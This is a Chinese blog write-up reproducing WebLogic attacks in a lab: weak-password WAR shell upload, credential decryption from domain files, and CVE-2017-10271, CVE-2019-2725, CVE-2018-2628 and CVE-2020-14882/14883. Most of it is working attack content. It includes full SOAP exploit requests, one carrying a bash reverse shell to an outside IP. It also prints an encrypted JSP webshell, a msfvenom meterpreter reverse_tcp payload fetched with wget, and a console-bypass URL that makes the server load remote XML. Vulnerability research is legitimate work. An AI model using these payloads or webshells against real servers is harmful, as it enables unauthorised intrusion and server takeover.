• weblogic漏洞复现


    weblogic漏洞复现

    简介

    WebLogic是美国Oracle公司出品的一个Java应用服务器,是一个基于JAVAEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。

    弱口令登陆部署shell文件

    介绍

    用户管理员在配置密码时将登陆口令设置为简易的弱口令,这使得攻击者可以很容易的猜解到口令并登陆进后台,通过部署木马文件,拿到shell,进行进一步的渗透

    解密知识:

    • 账号权限:weblogic或root用户权限,能查看weblogic域文件
    • 密钥文件:SerializedSystemIni.dat

    SerializedSystemIni.dat是解密的核心文件,一般保存在weblogic域的security目录下。比如weblogic的domain目录为:

    /root/Oracle/Middleware/user_projects/domains/base_domain/
    

    那么SerializedSystemIni.dat文件一般在

    /root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
    
    • 密文文件

    weblogic的密文分两类,一类是数据库连接字符串,一类是console登录用户名和密码。

    数据库连接字符串一般是在config/jdbc目录下的jdbc.xml文件中:/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/tide-jdbc.xml

    而console登录用户名和密码一般也是在security目录下:/root/Oracle/Middleware/user_projects/domains/base_domain/security/boot.properties

    复现

    Weblogic版本:10.3.6(11g)

    Java版本:1.6

    启动本环境:

    docker-compose up -d
    

    破解密码

    环境启动后,访问http://your-ip:7001/console,即为weblogic后台。

    此处模拟前台存在任意文件下载漏洞,通过此破解密码,配合后台文件上传getshell

    读取密钥文件SerializedSystemIni.dat:

    /root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

    读取密文文件:

    <node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了

    解密工具地址

    成功破解密码Oracle@123


    文件上传

    打包war包:

    jar -cvf karsa.war ./war/*

    Deployments—Install—upload your file(s)

    因为我又生成了一个war目录,所以我的马的位置为:

    /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/karsa/4vao9u/war/war

    可能是我的kali的问题冰蝎v3.0 Beta 9 无法连接shell,Beta7 成功反弹shell

    CVE-2017-10271

    XMLDecoder反序列化漏洞

    介绍

    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

    漏洞利用:通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

    WebLogic Server WLS组件对外提供webservice服务,使用XMLDecoder来解析用户传入的XML数据

    复现

    反弹shell:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 633
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    


    文件写入:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 638
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.io.PrintWriter"> 
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
        <void method="println"><string>
        <![CDATA[
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
        ]]>
        </string>
        </void>
        <void method="close"/>
        </object></java></java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

    CVE-2019-2725

    wls-wsat反序列化漏洞

    介绍

    部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

    复现

    访问http://192.168.211.150:7001/_async/AsyncResponseService

    下载Java反序列化漏洞利用工具

    存在漏洞

    命令执行成功


    文件上传

    文件路径:C:\\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

    shell地址:

    http://192.168.211.152:7001/console/framework/skins/wlsconsole/images/shell.jsp

    访问shell

    CVE-2018-2628

    WebLogic T3协议反序列化命令执行漏洞

    介绍

    Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行

    复现

    使用github工具CVE-2018-2628

    python CVE-2018-2628-Getshell.py 192.168.211.128 7001 shell1.jsp
    

    msf上线

    python -m SimpleHTTPServer 1337                      #搭建 HTTP server
    msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=3333  -f elf -o karsa.elf                                            #生成攻击载荷
    wget 192.168.211.147:1337/karsa.elf                  #服务端下载恶意文件
    msf监听
    

    CVE-2020-14882/14883

    WebLogic Console 权限绕过漏洞&RCE

    介绍

    CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

    复现

    访问以下URL,即可未授权访问到管理后台页面:

    /console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1

    Weblogic 12.2.1以上版本利用:

    /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

    这里其实想直接弹回来shell,但是一直失败了,不知道为什么,使用第二个方法com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext


    构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[touch /tmp/success2]]></value>
              </list>
            </constructor-arg>
        </bean>
    </beans>
    

    让Weblogic加载这个XML,并执行其中的命令

    http://192.168.211.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.211.147:1337/2.xml")
    

  • 相关阅读:
    JS注意事项
    正则
    js闭包
    【转】chrome console用法
    JSON
    流式传输原理(一) 之通过Web服务器访问音频和视频
    流式传输原理(二) 之通过流式服务器访问音视频
    Equivalence Class Partitioning等价类划分黑盒测试
    【判断闰年】程序抛出异常的解决方案
    新学期😄😄😄
  • 原文地址:https://www.cnblogs.com/karsa/p/16053914.html
Copyright © 2020-2023  润新知